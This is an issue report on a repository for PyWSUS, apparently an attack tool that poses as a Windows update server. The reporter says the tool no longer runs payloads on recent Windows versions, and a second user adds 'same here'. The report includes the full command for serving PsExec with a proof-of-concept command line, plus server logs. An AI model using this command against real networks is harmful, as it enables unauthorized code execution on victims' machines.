PyWSUS is broken on recent Windows 10/11 and Windows Server 2016/2019/2022

[archidote]

Hi, for about a year I haven't been able to get PyWSUS to work.
Tested across multiple targets (Windows 10 (> 23H2), Windows 11, Server 2019, Server 2022) with the same result: the client syncs, but the provided executable/command is never run and the update is never applied.

Command used

pywsus.py --host "192.168.140.1" --port 8530 \
  --executable /opt/resources/windows/SysinternalsSuite/PsExec64.exe \
  --command  '/accepteula /s cmd.exe /c "echo wsus.poc > C:\poc.txt"'

Actual behaviour

• Client performs SOAP sync (HTTP 200) but does not execute the payload.

• No C:\poc.txt created on targets.

• On the Windows Update UI the install attempt shows error 0x80240013

`INFO:root:The update metadata - uuids: [UUID('3a8e3507-4f11-4750-9557-4270fbff22ca'), UUID('4289eeeb-1308-44b9-9bad-3d3e4c138741')],revision_ids: [965752, 983499], deployment_ids: [84285, 87395], executable: PsExec64.exe, sha1: AJjHnhQEtDmb8OaG2I2/BSJpowI=, sha256: 7frhppUi+HsSxtrDIl2TDkhIgy48VR7h59MXNr9FJe8=
INFO:root:Starting httpd...

192.168.140.20 - - [03/Oct/2025 08:04:29] "POST /ClientWebService/client.asmx HTTP/1.1" 200 -
INFO:root:SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
192.168.140.20 - - [03/Oct/2025 08:04:41] "POST /ClientWebService/client.asmx HTTP/1.1" 200 -
INFO:root:SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"

Environment

• pywsus: latest from repo (cloned recently)

• Recent updated Targets: Windows 10, Windows 11, Server 2019, Server 2022

• Payload executable: Sysinternals PsExec64.exe

• Network: no firewall blocking between pywsus server and targets (SOAP requests reach clients)

It looks like this repository hasn’t had any commits for ~3 years, so I’m wondering if the tool is no longer maintained or compatible with newer Windows builds.
I also tried to patch/debug the code myself, but despite several different attempts I couldn’t get it to work.
If anyone is willing to try patching this, feel free to reach out, I can help on the testing/exploitation side.

[fsoc106]

same here